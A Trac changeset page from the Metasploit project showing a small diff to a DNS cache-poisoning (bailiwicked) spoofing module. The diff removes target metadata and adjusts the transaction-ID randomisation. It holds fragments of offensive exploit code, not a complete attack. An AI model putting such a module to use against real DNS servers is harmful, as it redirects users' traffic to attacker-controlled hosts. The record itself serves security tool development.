Changeset 5587

Show
Ignore:
Timestamp:
07/23/08 21:40:48 (1 month ago)
Author:
hdm
Message:

Adds the domain version of this exploit, which replaces the cached nameservers with the one we specify.

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/auxiliary/spoof/dns/bailiwicked_host.rb

    r5586 r5587  
    3434                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], 
    3535                                ], 
    36                         'Privileged'     => true, 
    37                         'Targets'        =>  
    38                                 [ 
    39                                         ["BIND",   
    40                                                 { 
    41                                                         'Arch' => ARCH_X86, 
    42                                                         'Platform' => 'linux', 
    43                                                 }, 
    44                                         ], 
    45                                 ], 
    4636                        'DisclosureDate' => 'Jul 21 2008' 
    4737                        )) 
     
    133123                xids     = datastore['XIDS'].to_i 
    134124                newttl   = datastore['TTL'].to_i 
    135                 xidbase  = rand(65536
     125                xidbase  = rand(65536-xids
    136126 
    137127                domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]